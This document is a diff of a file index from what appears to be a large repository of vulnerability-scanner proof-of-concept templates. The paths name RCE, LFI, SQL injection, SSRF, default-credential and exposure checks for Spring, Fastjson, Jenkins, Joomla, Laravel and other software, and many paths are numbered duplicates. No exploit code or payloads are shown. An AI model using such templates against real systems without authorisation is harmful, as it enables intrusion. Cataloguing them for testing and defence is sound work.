./poc/java/exposed-alps-spring.yaml -./poc/java/exposed-springboot.yaml ./poc/java/exposed-struts.yaml ./poc/java/facemeeting-struts2-rce.yaml ./poc/java/flyway-spring-boot.yaml @@ -48108,20 +48434,20 @@ ./poc/java/hangseng-jrescloud-uploadimage-fileupload.yaml ./poc/java/ibm-websphere-admin-panel.yaml ./poc/java/ibm-websphere-panel.yaml -./poc/java/ibm-websphere-ssrf-8126.yaml ./poc/java/ibm-websphere-ssrf.yaml ./poc/java/ibm-websphere.yaml ./poc/java/java-melody-exposed-1.yaml ./poc/java/java-melody-exposed-2.yaml ./poc/java/java-melody-exposed-8221.yaml +./poc/java/java-melody-exposed-8222.yaml ./poc/java/java-melody-exposed-8223.yaml ./poc/java/java-melody-exposed-8224.yaml -./poc/java/java-melody-exposed.yaml ./poc/java/java-melody-stat.yaml ./poc/java/java-melody-xss-8225.yaml ./poc/java/java-melody-xss-8226.yaml -./poc/java/java-rmi-detect-8227.yaml +./poc/java/java-melody-xss.yaml ./poc/java/java-rmi-detect-8228.yaml +./poc/java/java-rmi-detect.yaml ./poc/java/javamelody-detect.yaml ./poc/java/javascript-env-1.yaml ./poc/java/javascript-env-2.yaml @@ -48131,12 +48457,12 @@ ./poc/java/javascript-env-6.yaml ./poc/java/javascript-env-8229.yaml ./poc/java/javascript-env-8230.yaml -./poc/java/javascript-env-8231.yaml +./poc/java/javascript-env.yaml ./poc/java/javashop.yaml ./poc/java/jboss-as.yaml ./poc/java/jboss-cve-2010-1871.yml ./poc/java/jboss-default-password.yaml -./poc/java/jboss-detect.yaml +./poc/java/jboss-detect-8237.yaml ./poc/java/jboss-eap.yaml ./poc/java/jboss-jbpm-admin.yaml ./poc/java/jboss-juddi.yaml @@ -48145,26 +48471,23 @@ ./poc/java/jboss-seam-debug-page.yaml ./poc/java/jboss-soa-platform.yaml ./poc/java/jboss-ssrf.yaml -./poc/java/jboss-status-8241.yaml ./poc/java/jboss-status-8242.yaml ./poc/java/jboss-status-8243.yaml -./poc/java/jboss-status.yaml ./poc/java/jboss-unauth.yml ./poc/java/jboss-web-console.yaml ./poc/java/jboss-workflow.yaml ./poc/java/jboss.yaml ./poc/java/jetty-cve-2021-28164.yml ./poc/java/jetty-information-disclosure.yaml -./poc/java/jetty-showcontexts-enable-8295.yaml ./poc/java/jetty-showcontexts-enable-8296.yaml ./poc/java/jetty-showcontexts-enable-8297.yaml -./poc/java/jetty-showcontexts-enable-8298.yaml ./poc/java/jetty-showcontexts-enable.yaml ./poc/java/jetty-workflow.yaml ./poc/java/jetty.yaml -./poc/java/jinfornet-jreport-lfi-8307.yaml ./poc/java/jinfornet-jreport-lfi-8308.yaml +./poc/java/jinfornet-jreport-lfi-8309.yaml ./poc/java/jinfornet-jreport-lfi-8310.yaml +./poc/java/jinfornet-jreport-lfi.yaml ./poc/java/jolokia-tomcat-creds-leak.yaml ./poc/java/jsf-detection-8396.yaml ./poc/java/jsf-detection-8398.yaml @@ -48203,7 +48526,6 @@ ./poc/java/shiro-124-rememberme.yaml ./poc/java/shiro-deserialization-detection.yaml ./poc/java/shiro-detect-10195.yaml -./poc/java/shiro-detect-10196.yaml ./poc/java/shiro-detect-10197.yaml ./poc/java/spring-boot-admin.yaml ./poc/java/spring-cloud-cve-2020-5405.yml @@ -48213,8 +48535,10 @@ ./poc/java/spring-cve-2016-4977.yaml ./poc/java/spring-cve-2016-4977.yml ./poc/java/spring-eureka.yaml -./poc/java/spring-framework-exceptions.yaml +./poc/java/spring-framework-exceptions-10493.yaml ./poc/java/spring-framework.yaml +./poc/java/spring-functions-rce.yaml +./poc/java/springForShell-CVE-2022-22965.yaml ./poc/java/spring_cloud_gateway_CVE_2022_22947.yaml ./poc/java/spring_cloud_gateway_cve_2022_22947.yaml ./poc/java/spring_collection.yaml @@ -48227,13 +48551,11 @@ ./poc/java/springboot-actuators-jolokia-xxe-1.yaml ./poc/java/springboot-actuators-jolokia-xxe-10428.yaml ./poc/java/springboot-actuators-jolokia-xxe-10429.yaml -./poc/java/springboot-actuators-jolokia-xxe-10430.yaml ./poc/java/springboot-actuators-jolokia-xxe-10431.yaml ./poc/java/springboot-actuators-jolokia-xxe-10432.yaml ./poc/java/springboot-actuators-jolokia-xxe-2.yaml ./poc/java/springboot-actuators-jolokia-xxe.yaml ./poc/java/springboot-autoconfig-1.yaml -./poc/java/springboot-autoconfig-10436.yaml ./poc/java/springboot-autoconfig-10437.yaml ./poc/java/springboot-autoconfig-2.yaml ./poc/java/springboot-beans-1.yaml @@ -48243,8 +48565,8 @@ ./poc/java/springboot-beans-2.yaml ./poc/java/springboot-conditions.yaml ./poc/java/springboot-configprops-1.yaml +./poc/java/springboot-configprops-10442.yaml ./poc/java/springboot-configprops-10443.yaml -./poc/java/springboot-configprops-10444.yaml ./poc/java/springboot-configprops-10445.yaml ./poc/java/springboot-configprops-2.yaml ./poc/java/springboot-detect.yaml @@ -48261,13 +48583,12 @@ ./poc/java/springboot-exposures.yaml ./poc/java/springboot-features.yaml ./poc/java/springboot-gateway-10452.yaml +./poc/java/springboot-h2-db-rce-10454.yaml ./poc/java/springboot-h2-db-rce-10455.yaml ./poc/java/springboot-h2-db-rce-10456.yaml ./poc/java/springboot-h2-db-rce-10457.yaml -./poc/java/springboot-h2-db-rce-10458.yaml ./poc/java/springboot-health-1.yaml ./poc/java/springboot-health-10459.yaml -./poc/java/springboot-health-10460.yaml ./poc/java/springboot-health-2.yaml ./poc/java/springboot-heapdump-1.yaml ./poc/java/springboot-heapdump-10461.yaml @@ -48288,15 +48609,16 @@ ./poc/java/springboot-log4j-rce-10472.yaml ./poc/java/springboot-log4j-rce-10473.yaml ./poc/java/springboot-log4j-rce-10474.yaml +./poc/java/springboot-log4j-rce.yaml ./poc/java/springboot-logfile.yaml ./poc/java/springboot-loggers-1.yaml -./poc/java/springboot-loggers-10476.yaml +./poc/java/springboot-loggers-10475.yaml ./poc/java/springboot-loggers-10477.yaml ./poc/java/springboot-loggers-2.yaml ./poc/java/springboot-loggers.yaml ./poc/java/springboot-mappings-1.yaml ./poc/java/springboot-mappings-10478.yaml -./poc/java/springboot-mappings-10479.yaml +./poc/java/springboot-mappings-10480.yaml ./poc/java/springboot-mappings-10481.yaml ./poc/java/springboot-mappings-2.yaml ./poc/java/springboot-metrics-1.yaml @@ -48326,10 +48648,10 @@ ./poc/java/springcloud-function-spel-rce.yaml ./poc/java/springer.yaml ./poc/java/struts-debug-mode-10559.yaml -./poc/java/struts-debug-mode-10561.yaml +./poc/java/struts-debug-mode-10560.yaml ./poc/java/struts-debug-mode.yaml ./poc/java/struts-problem-report-10562.yaml -./poc/java/struts-problem-report-10564.yaml +./poc/java/struts-problem-report-10563.yaml ./poc/java/struts-problem-report.yaml ./poc/java/struts2_001.yaml ./poc/java/sun-glassfish.yaml @@ -48372,6 +48694,7 @@ ./poc/java/tomcat-manager-default-creds.yaml ./poc/java/tomcat-manager-default.yaml ./poc/java/tomcat-manager-pathnormalization-1.yaml +./poc/java/tomcat-manager-pathnormalization-10797.yaml ./poc/java/tomcat-manager-pathnormalization-2.yaml ./poc/java/tomcat-manager-pathnormalization.yaml ./poc/java/tomcat-monitor-uses-wadl.yaml @@ -48383,7 +48706,6 @@ ./poc/java/tomcat-scripts-1.yaml ./poc/java/tomcat-scripts-10801.yaml ./poc/java/tomcat-scripts-10802.yaml -./poc/java/tomcat-scripts-10803.yaml ./poc/java/tomcat-scripts-2.yaml ./poc/java/tomcat-scripts-3.yaml ./poc/java/tomcat-scripts-4.yaml @@ -48394,7 +48716,7 @@ ./poc/java/tomcat-stacktraces.yaml ./poc/java/tomcat-version-disclosure.yaml ./poc/java/tomcat-workflow-10804.yaml -./poc/java/tomcat-workflow.yaml +./poc/java/tomcat-workflow-10805.yaml ./poc/java/wanhu-ezoffice-documentedit-jsp-sqli.yaml ./poc/java/wanhu-ezoffice-download-ftp-jsp-filedownload.yaml ./poc/java/wanhu-ezoffice-download-jsp-filedownload.yaml @@ -48411,6 +48733,7 @@ ./poc/java/weblogic-cve-2019-2729-2.yml ./poc/java/weblogic-cve-2020-14750.yml ./poc/java/weblogic-detect-11142.yaml +./poc/java/weblogic-detect-11143.yaml ./poc/java/weblogic-detect-11144.yaml ./poc/java/weblogic-detect-11145.yaml ./poc/java/weblogic-detect-11146.yaml @@ -48424,8 +48747,8 @@ ./poc/java/weblogic-servlet-xss.yml ./poc/java/weblogic-ssrf.yaml ./poc/java/weblogic-ssrf.yml -./poc/java/weblogic-t3-detect-11151.yaml ./poc/java/weblogic-t3-detect-11152.yaml +./poc/java/weblogic-t3-detect-11153.yaml ./poc/java/weblogic-t3-detect.yaml ./poc/java/weblogic-t3-search.yaml ./poc/java/weblogic-uddiexplorer.yaml @@ -48474,11 +48797,9 @@ ./poc/javascript/VC-opr_copycode_jsp-SQLi.yaml ./poc/javascript/add-custom-css-and-js-1aa54d0c3f88c0268db513e4b2afc065.yaml ./poc/javascript/add-custom-css-and-js.yaml -./poc/javascript/aem-querybuilder-json-servlet-182.yaml ./poc/javascript/aem-querybuilder-json-servlet-183.yaml ./poc/javascript/aem-querybuilder-json-servlet-184.yaml ./poc/javascript/aem-querybuilder-json-servlet-185.yaml -./poc/javascript/aem-querybuilder-json-servlet-186.yaml ./poc/javascript/aem-querybuilder-json-servlet-187.yaml ./poc/javascript/alibaba-fastjson.yaml ./poc/javascript/amazonjs-c241b0ba6a777f828cfa26db407af41e.yaml @@ -48497,6 +48818,7 @@ ./poc/javascript/auth-json.yaml ./poc/javascript/azuredeploy-json.yaml ./poc/javascript/bower-json-768.yaml +./poc/javascript/bower-json-769.yaml ./poc/javascript/bower-json-770.yaml ./poc/javascript/composer-auth-json.yaml ./poc/javascript/config-js.yaml @@ -48519,6 +48841,7 @@ ./poc/javascript/dahua-searchJson-sqli.yaml ./poc/javascript/dahua-wpms-searchjson-sqli .yaml ./poc/javascript/database.json-exposure.yaml +./poc/javascript/drupal-jsonapi-user-listing.yaml ./poc/javascript/drupal_module-jsonapi-access-bypass.yaml ./poc/javascript/drupal_module-jsonapi-cross-site-request-forgery.yaml ./poc/javascript/drupal_module-jsonapi-multiple-vulnerabilities.yaml @@ -48543,30 +48866,28 @@ ./poc/javascript/fastjson-1-2-24-rce-1.yaml ./poc/javascript/fastjson-1-2-24-rce-2.yaml ./poc/javascript/fastjson-1-2-24-rce-7400.yaml +./poc/javascript/fastjson-1-2-24-rce.yaml ./poc/javascript/fastjson-1-2-41-rce-7401.yaml ./poc/javascript/fastjson-1-2-41-rce-7403.yaml ./poc/javascript/fastjson-1-2-41-rce-7404.yaml ./poc/javascript/fastjson-1-2-42-rce-7405.yaml -./poc/javascript/fastjson-1-2-42-rce-7407.yaml ./poc/javascript/fastjson-1-2-42-rce-7408.yaml -./poc/javascript/fastjson-1-2-42-rce.yaml ./poc/javascript/fastjson-1-2-43-rce-7409.yaml ./poc/javascript/fastjson-1-2-43-rce-7411.yaml ./poc/javascript/fastjson-1-2-43-rce-7412.yaml ./poc/javascript/fastjson-1-2-47-rce-7413.yaml ./poc/javascript/fastjson-1-2-47-rce-7415.yaml ./poc/javascript/fastjson-1-2-47-rce-7416.yaml +./poc/javascript/fastjson-1-2-47-rce.yaml ./poc/javascript/fastjson-1-2-62-rce-7417.yaml ./poc/javascript/fastjson-1-2-62-rce-7419.yaml ./poc/javascript/fastjson-1-2-62-rce-7420.yaml -./poc/javascript/fastjson-1-2-62-rce.yaml ./poc/javascript/fastjson-1-2-67-rce-7421.yaml ./poc/javascript/fastjson-1-2-67-rce-7423.yaml ./poc/javascript/fastjson-1-2-67-rce-7424.yaml ./poc/javascript/fastjson-1-2-68-rce-1.yaml ./poc/javascript/fastjson-1-2-68-rce-2.yaml ./poc/javascript/fastjson-1-2-68-rce-3.yaml -./poc/javascript/fastjson-1-2-68-rce-7425.yaml ./poc/javascript/fastjson-1-2-68-rce.yaml ./poc/javascript/fastjson-1-7402.yaml ./poc/javascript/fastjson-1-7406.yaml @@ -48590,7 +48911,6 @@ ./poc/javascript/fastjson-version-7426.yaml ./poc/javascript/fastjson-version-7427.yaml ./poc/javascript/fastjson-version-7428.yaml -./poc/javascript/fastjson-version.yaml ./poc/javascript/fastjson1_2_47-rce-Deserialization.yaml ./poc/javascript/firebase-messaging-sw-js-exposure.yaml ./poc/javascript/fuzzing-xss-get-params-javascript-context-injection.yaml @@ -48605,12 +48925,14 @@ ./poc/javascript/hikvision-applyct-fastjson-rce.yaml ./poc/javascript/hjsoft-eHR-outputcode-lfi.yaml ./poc/javascript/hjsoft-eHR-showmediainfo-sqli.yaml +./poc/javascript/hjsoft-eHR-system-sqli.yaml ./poc/javascript/hjsoft-ehr-showmedia-sqli.yaml ./poc/javascript/hjsoft-hcm-DisplayExcelCustomReport-arbitrary-fileread.yaml ./poc/javascript/hjsoft-hcm-arbitrary-file-fileupload.yaml ./poc/javascript/hjsoft-hcm-fieldsettree-sqli.yaml ./poc/javascript/hjsoft-hcm-pos-dept-post-sqli.yaml ./poc/javascript/hjsoft-hcm.yaml +./poc/javascript/hjsoft-servlet-DisplayFiles-fileread.yaml ./poc/javascript/host-analyticsjs-local-7ba472e1c966ad6d5f8b84600a49a46d.yaml ./poc/javascript/host-analyticsjs-local-c191c8984579cda7deffd9cb930be754.yaml ./poc/javascript/host-analyticsjs-local.yaml @@ -48624,7 +48946,7 @@ ./poc/javascript/javascript-env-6.yaml ./poc/javascript/javascript-env-8229.yaml ./poc/javascript/javascript-env-8230.yaml -./poc/javascript/javascript-env-8231.yaml +./poc/javascript/javascript-env.yaml ./poc/javascript/js-analyse.yaml ./poc/javascript/js-css-script-optimizer-137f403484d4acf21480db9b55924e66.yaml ./poc/javascript/js-css-script-optimizer.yaml @@ -48719,9 +49041,10 @@ ./poc/javascript/jsyhit-system.yaml ./poc/javascript/jwks-json.yaml ./poc/javascript/keycloak-json-8471.yaml -./poc/javascript/keycloak-json-8473.yaml +./poc/javascript/keycloak-json-8472.yaml ./poc/javascript/keycloak-json-8474.yaml ./poc/javascript/keys-js.yaml +./poc/javascript/kiwitcms-json-rpc.yaml ./poc/javascript/knight-lab-timelinejs-0f42e86470e92d725c0f62d2c358c29e.yaml ./poc/javascript/knight-lab-timelinejs-4381e1c7831311e9b345b4fa5c2bb585.yaml ./poc/javascript/knight-lab-timelinejs-fc9575cffd43eab455fe76720d510ad0.yaml @@ -48732,6 +49055,7 @@ ./poc/javascript/landray-oa-custom-jsp-rce.yaml ./poc/javascript/liferay-jsonws.yaml ./poc/javascript/log4jshell-detect.yaml +./poc/javascript/log4jshell.yaml ./poc/javascript/magicflu-mailupdate-jsp-fileupload.yaml ./poc/javascript/mojarra-jsf.yaml ./poc/javascript/nextjs-cve-2017-16877.yml @@ -48821,6 +49145,7 @@ ./poc/jenkins/jenkins-asyncpeople-8265.yaml ./poc/jenkins/jenkins-asyncpeople-8266.yaml ./poc/jenkins/jenkins-asyncpeople-8267.yaml +./poc/jenkins/jenkins-asyncpeople-8268.yaml ./poc/jenkins/jenkins-asyncpeople.yaml ./poc/jenkins/jenkins-audit-trail-xss.yaml ./poc/jenkins/jenkins-credentials-disclosure.yml @@ -48828,7 +49153,6 @@ ./poc/jenkins/jenkins-cve-2018-1000861-rce.yml ./poc/jenkins/jenkins-default-8270.yaml ./poc/jenkins/jenkins-default-8271.yaml -./poc/jenkins/jenkins-default-8272.yaml ./poc/jenkins/jenkins-default-8273.yaml ./poc/jenkins/jenkins-default-login.yaml ./poc/jenkins/jenkins-default-pwd.yaml @@ -48838,10 +49162,10 @@ ./poc/jenkins/jenkins-exposed.yaml ./poc/jenkins/jenkins-headers-detect.yaml ./poc/jenkins/jenkins-home-dir-exposure.yaml -./poc/jenkins/jenkins-login-8277.yaml ./poc/jenkins/jenkins-login-8278.yaml ./poc/jenkins/jenkins-login-8279.yaml ./poc/jenkins/jenkins-login-8280.yaml +./poc/jenkins/jenkins-login-detection.yaml ./poc/jenkins/jenkins-login.yaml ./poc/jenkins/jenkins-rce.yaml ./poc/jenkins/jenkins-script-8281.yaml @@ -48899,11 +49223,10 @@ ./poc/joomla/joomla-com-fabrik-lfi-8373.yaml ./poc/joomla/joomla-component-vreview-sql.yaml ./poc/joomla/joomla-component-vreview-sql.yml +./poc/joomla/joomla-config-dist-file.yaml ./poc/joomla/joomla-config-file-8374.yaml ./poc/joomla/joomla-config-file-8375.yaml -./poc/joomla/joomla-config-file-8376.yaml ./poc/joomla/joomla-config-file-8377.yaml -./poc/joomla/joomla-config-file.yaml ./poc/joomla/joomla-cve-2015-7297-sqli.yml ./poc/joomla/joomla-cve-2017-8917-sqli.yml ./poc/joomla/joomla-cve-2018-7314-sql.yml @@ -48926,6 +49249,7 @@ ./poc/joomla/joomla-manifest-file.yaml ./poc/joomla/joomla-panel-8389.yaml ./poc/joomla/joomla-panel-8390.yaml +./poc/joomla/joomla-panel-8391.yaml ./poc/joomla/joomla-panel-8392.yaml ./poc/joomla/joomla-panel.yaml ./poc/joomla/joomla-sensitive-config.yaml @@ -48942,23 +49266,24 @@ ./poc/joomla/joomla-sqli-weblinks_categories.yaml ./poc/joomla/joomla-unserialized-user_agent.yaml ./poc/joomla/joomla-version.yaml -./poc/joomla/joomla-workflow-8393.yaml ./poc/joomla/joomla-workflow-8394.yaml +./poc/joomla/joomla-workflow-8395.yaml +./poc/joomla/joomla-workflow.yaml ./poc/joomla/joomla.yaml ./poc/joomla/rusty-joomla-9955.yaml -./poc/joomla/rusty-joomla.yaml ./poc/kafka/apache-druid-kafka-connect-rce.yaml +./poc/kafka/kafka-center-default-login-8415.yaml ./poc/kafka/kafka-center-default-login-8416.yaml ./poc/kafka/kafka-center-default-login-8417.yaml ./poc/kafka/kafka-center-default-password.yaml -./poc/kafka/kafka-center-login-8418.yaml +./poc/kafka/kafka-center-login-8419.yaml ./poc/kafka/kafka-center-login.yaml ./poc/kafka/kafka-center.yaml ./poc/kafka/kafka-connect-ui-8420.yaml ./poc/kafka/kafka-connect-ui-8421.yaml ./poc/kafka/kafka-connect-ui-8423.yaml ./poc/kafka/kafka-connect-ui.yaml -./poc/kafka/kafka-consumer-monitor-8425.yaml +./poc/kafka/kafka-consumer-monitor-8424.yaml ./poc/kafka/kafka-consumer-monitor.yaml ./poc/kafka/kafka-cruise-control-8426.yaml ./poc/kafka/kafka-cruise-control-8427.yaml @@ -48970,6 +49295,7 @@ ./poc/kafka/kafka-monitoring-8429.yaml ./poc/kafka/kafka-monitoring-8430.yaml ./poc/kafka/kafka-monitoring.yaml +./poc/kafka/kafka-topics-list.yaml ./poc/kafka/kafka-topics-ui-8432.yaml ./poc/kafka/kafka-topics-ui-8433.yaml ./poc/kafka/kafka-topics-ui-8435.yaml @@ -48983,7 +49309,6 @@ ./poc/kong/kingkong-board.yaml ./poc/kong/kong-cve-2020-11710-unauth.yml ./poc/kong/kong-detect-8498.yaml -./poc/kong/kong-detect-8499.yaml ./poc/kong/kong-detect-8500.yaml ./poc/kong/kong-detect-8501.yaml ./poc/kong/kong-detect.yaml @@ -49002,7 +49327,6 @@ ./poc/laravel/laravel-debug-enabled-8575.yaml ./poc/laravel/laravel-debug-enabled-8576.yaml ./poc/laravel/laravel-debug-enabled-8577.yaml -./poc/laravel/laravel-debug-enabled.yaml ./poc/laravel/laravel-debug-error-8579.yaml ./poc/laravel/laravel-debug-error.yaml ./poc/laravel/laravel-debug-info-leak.yaml @@ -49021,13 +49345,13 @@ ./poc/laravel/laravel-env.yaml ./poc/laravel/laravel-filemanager-8590.yaml ./poc/laravel/laravel-filemanager-8591.yaml -./poc/laravel/laravel-filemanager-lfi-8587.yaml ./poc/laravel/laravel-filemanager-lfi-8588.yaml ./poc/laravel/laravel-filemanager-lfi-8589.yaml ./poc/laravel/laravel-filemanager.yaml ./poc/laravel/laravel-framework.yaml ./poc/laravel/laravel-ignition-xss-8592.yaml ./poc/laravel/laravel-ignition-xss-8593.yaml +./poc/laravel/laravel-ignition-xss.yaml ./poc/laravel/laravel-improper-webdir.yaml ./poc/laravel/laravel-improper-webdir.yml ./poc/laravel/laravel-log-file-8594.yaml @@ -49037,7 +49361,6 @@ ./poc/laravel/laravel-log-file-8598.yaml ./poc/laravel/laravel-telescope-8599.yaml ./poc/laravel/laravel-telescope-8600.yaml -./poc/laravel/laravel-telescope-8601.yaml ./poc/laravel/laravel-telescope-exposed.yaml ./poc/laravel/laravel-telescope.yaml ./poc/laravel/laravel-workflow.yaml @@ -49099,24 +49422,24 @@ ./poc/local_file_inclusion/Wordpress-OPS_Old_Post_Spinner_Plugins-LFI.yaml ./poc/local_file_inclusion/Wordpress-Photocart_Link_Plugins-LFI.yaml ./poc/local_file_inclusion/Wordpress-jQuery_Mega_Menu_Plugins-LFI.yaml +./poc/local_file_inclusion/accent-microcomputers-lfi-14.yaml ./poc/local_file_inclusion/accent-microcomputers-lfi-15.yaml -./poc/local_file_inclusion/accent-microcomputers-lfi-16.yaml ./poc/local_file_inclusion/accent-microcomputers-lfi-17.yaml -./poc/local_file_inclusion/accent-microcomputers-lfi.yaml -./poc/local_file_inclusion/ad-widget-lfi-124.yaml ./poc/local_file_inclusion/ad-widget-lfi-125.yaml ./poc/local_file_inclusion/ad-widget-lfi-126.yaml +./poc/local_file_inclusion/ad-widget-lfi.yaml ./poc/local_file_inclusion/admin-word-count-column-lfi.yaml -./poc/local_file_inclusion/advanced-access-manager-lfi-116.yaml ./poc/local_file_inclusion/advanced-access-manager-lfi-117.yaml +./poc/local_file_inclusion/advanced-access-manager-lfi-118.yaml +./poc/local_file_inclusion/advanced-access-manager-lfi.yaml ./poc/local_file_inclusion/advanced-access-manager-plugin-lfi.yaml ./poc/local_file_inclusion/alertlist-lfi.yaml ./poc/local_file_inclusion/alibaba-anyproxy-lfi.yaml ./poc/local_file_inclusion/amministrazione-aperta-lfi-303.yaml ./poc/local_file_inclusion/apachesolrlfissrf.yaml ./poc/local_file_inclusion/asanhamayesh-cms-lfi.yaml +./poc/local_file_inclusion/asanhamayesh-lfi-552.yaml ./poc/local_file_inclusion/asanhamayesh-lfi-553.yaml -./poc/local_file_inclusion/asanhamayesh-lfi.yaml ./poc/local_file_inclusion/bems-api-lfi-707.yaml ./poc/local_file_inclusion/bems-api-lfi-708.yaml ./poc/local_file_inclusion/bems-api-lfi-709.yaml @@ -49136,12 +49459,10 @@ ./poc/local_file_inclusion/candidate-application-lfi-851.yaml ./poc/local_file_inclusion/candidate-application-lfi.yaml ./poc/local_file_inclusion/cherry-lfi-902.yaml -./poc/local_file_inclusion/cherry-lfi-903.yaml +./poc/local_file_inclusion/cherry-lfi.yaml ./poc/local_file_inclusion/church-admin-lfi-912.yaml ./poc/local_file_inclusion/church-admin-lfi-913.yaml -./poc/local_file_inclusion/church-admin-lfi.yaml -./poc/local_file_inclusion/churchope-lfi-916.yaml -./poc/local_file_inclusion/churchope-lfi.yaml +./poc/local_file_inclusion/churchope-lfi-915.yaml ./poc/local_file_inclusion/coldfusion-cve-2010-2861-lfi.yml ./poc/local_file_inclusion/comfyui-lfi.yaml ./poc/local_file_inclusion/confluence-cve-2019-3396-lfi.yaml @@ -49149,23 +49470,19 @@ ./poc/local_file_inclusion/crawlab-lfi.yaml ./poc/local_file_inclusion/crystal-live-http-server-lfi.yaml ./poc/local_file_inclusion/cs-cart-unauthenticated-lfi-1281.yaml +./poc/local_file_inclusion/cs-cart-unauthenticated-lfi-1282.yaml ./poc/local_file_inclusion/cs-cart-unauthenticated-lfi-1283.yaml ./poc/local_file_inclusion/cs-cart-unauthenticated-lfi-1284.yaml ./poc/local_file_inclusion/cs-cart-unauthenticated-lfi-1285.yaml -./poc/local_file_inclusion/cs-cart-unauthenticated-lfi.yaml ./poc/local_file_inclusion/dahua-icc-readPic-lfi.yaml ./poc/local_file_inclusion/db-backup-lfi-6774.yaml -./poc/local_file_inclusion/db-backup-lfi-6775.yaml ./poc/local_file_inclusion/db-backup-lfi-6776.yaml ./poc/local_file_inclusion/db-backup-lfi.yaml ./poc/local_file_inclusion/diarise-theme-lfi-6990.yaml ./poc/local_file_inclusion/diarise-theme-lfi-6991.yaml ./poc/local_file_inclusion/diarise-theme-lfi-6992.yaml -./poc/local_file_inclusion/diarise-theme-lfi.yaml -./poc/local_file_inclusion/dicoogle-pacs-lfi-6993.yaml ./poc/local_file_inclusion/dicoogle-pacs-lfi-6994.yaml ./poc/local_file_inclusion/dicoogle-pacs-lfi-6995.yaml -./poc/local_file_inclusion/dicoogle-pacs-lfi.yaml ./poc/local_file_inclusion/drupal-7-elfinder.yaml ./poc/local_file_inclusion/easyimage-downphp-lfi.yaml ./poc/local_file_inclusion/ecoa-building-lfi.yaml @@ -49179,12 +49496,12 @@ ./poc/local_file_inclusion/elfinder-detect-2.yaml ./poc/local_file_inclusion/elfinder-detect-7201.yaml ./poc/local_file_inclusion/elfinder-detect-7202.yaml -./poc/local_file_inclusion/elfinder-detect.yaml ./poc/local_file_inclusion/elfinder-path-traversal-7203.yaml ./poc/local_file_inclusion/elfinder-path-traversal.yaml ./poc/local_file_inclusion/elfinder-rce.yaml ./poc/local_file_inclusion/elfinder-version-7204.yaml ./poc/local_file_inclusion/elfinder-version-7205.yaml +./poc/local_file_inclusion/elfinder-version.yaml ./poc/local_file_inclusion/ewebs-lfi.yaml ./poc/local_file_inclusion/fhem-6-unauthenticated-lfi.yaml ./poc/local_file_inclusion/flink-jobmanager-cve-2020-17519-lfi.yml @@ -49192,7 +49509,9 @@ ./poc/local_file_inclusion/generic-lfi-fuzzing-7587.yaml ./poc/local_file_inclusion/generic-lfi-fuzzing.yaml ./poc/local_file_inclusion/generic-linux-lfi-7588.yaml +./poc/local_file_inclusion/generic-linux-lfi-7589.yaml ./poc/local_file_inclusion/generic-linux-lfi.yaml +./poc/local_file_inclusion/generic-windows-lfi-7590.yaml ./poc/local_file_inclusion/generic-windows-lfi-7591.yaml ./poc/local_file_inclusion/generic-windows-lfi-7592.yaml ./poc/local_file_inclusion/generic-windows-lfi.yaml @@ -49201,13 +49520,17 @@ ./poc/local_file_inclusion/geovision-geowebserver-lfi-7595.yaml ./poc/local_file_inclusion/geovision-geowebserver-lfi-7596.yaml ./poc/local_file_inclusion/geovision-geowebserver-lfi-7597.yaml +./poc/local_file_inclusion/geovision-geowebserver-lfi.yaml ./poc/local_file_inclusion/glassfish-cve-2017-1000028-lfi.yml ./poc/local_file_inclusion/global-domains-lfi-7714.yaml ./poc/local_file_inclusion/global-domains-lfi-7715.yaml +./poc/local_file_inclusion/global-domains-lfi-7716.yaml +./poc/local_file_inclusion/global-domains-lfi.yaml +./poc/local_file_inclusion/goip-1-lfi-7761.yaml ./poc/local_file_inclusion/goip-1-lfi-7762.yaml ./poc/local_file_inclusion/goip-1-lfi-7763.yaml ./poc/local_file_inclusion/goip-1-lfi-7764.yaml -./poc/local_file_inclusion/goip-1-lfi.yaml +./poc/local_file_inclusion/groupoffice-lfi-7849.yaml ./poc/local_file_inclusion/groupoffice-lfi-7850.yaml ./poc/local_file_inclusion/groupoffice-lfi-7851.yaml ./poc/local_file_inclusion/gsoap-lfi-7853.yaml @@ -49220,7 +49543,6 @@ ./poc/local_file_inclusion/hb-audio-lfi-7913.yaml ./poc/local_file_inclusion/health-check-lfi-7921.yaml ./poc/local_file_inclusion/health-check-lfi-7922.yaml -./poc/local_file_inclusion/health-check-lfi.yaml ./poc/local_file_inclusion/hide-security-enhancer-lfi-7951.yaml ./poc/local_file_inclusion/hide-security-enhancer-lfi-7952.yaml ./poc/local_file_inclusion/hide-security-enhancer-lfi-7953.yaml @@ -49231,10 +49553,9 @@ ./poc/local_file_inclusion/hrsale-unauthenticated-lfi-8040.yaml ./poc/local_file_inclusion/hrsale-unauthenticated-lfi-8041.yaml ./poc/local_file_inclusion/huawei-firewall-lfi.yaml +./poc/local_file_inclusion/huawei-hg255s-lfi-8059.yaml ./poc/local_file_inclusion/huawei-hg255s-lfi-8060.yaml ./poc/local_file_inclusion/huawei-hg255s-lfi-8061.yaml -./poc/local_file_inclusion/huawei-hg255s-lfi.yaml -./poc/local_file_inclusion/huawei-hg659-lfi-8067.yaml ./poc/local_file_inclusion/huawei-hg659-lfi-8068.yaml ./poc/local_file_inclusion/huawei-hg659-lfi-8069.yaml ./poc/local_file_inclusion/huawei-hg659-lfi-8070.yaml @@ -49254,9 +49575,11 @@ ./poc/local_file_inclusion/jeewms-lfi-8253.yaml ./poc/local_file_inclusion/jeewms-lfi-8254.yaml ./poc/local_file_inclusion/jeewms-lfi-8255.yaml -./poc/local_file_inclusion/jinfornet-jreport-lfi-8307.yaml +./poc/local_file_inclusion/jeewms-lfi.yaml ./poc/local_file_inclusion/jinfornet-jreport-lfi-8308.yaml +./poc/local_file_inclusion/jinfornet-jreport-lfi-8309.yaml ./poc/local_file_inclusion/jinfornet-jreport-lfi-8310.yaml +./poc/local_file_inclusion/jinfornet-jreport-lfi.yaml ./poc/local_file_inclusion/jinhe-oa-c6-filedownload-lfi.yaml ./poc/local_file_inclusion/jolokia-unauthenticated-lfi-8364.yaml ./poc/local_file_inclusion/jolokia-unauthenticated-lfi-8365.yaml @@ -49277,7 +49600,6 @@ ./poc/local_file_inclusion/kyocera-rx-ecosys-m2035dn-lfi.yaml ./poc/local_file_inclusion/lanproxy-cve-2021-3019-lfi.yml ./poc/local_file_inclusion/lanproxy-lfi.yaml -./poc/local_file_inclusion/laravel-filemanager-lfi-8587.yaml ./poc/local_file_inclusion/laravel-filemanager-lfi-8588.yaml ./poc/local_file_inclusion/laravel-filemanager-lfi-8589.yaml ./poc/local_file_inclusion/lfi-00.yaml @@ -49290,7 +49612,6 @@ ./poc/local_file_inclusion/lfi-fuzz.yaml ./poc/local_file_inclusion/lfi-j2ee.yaml 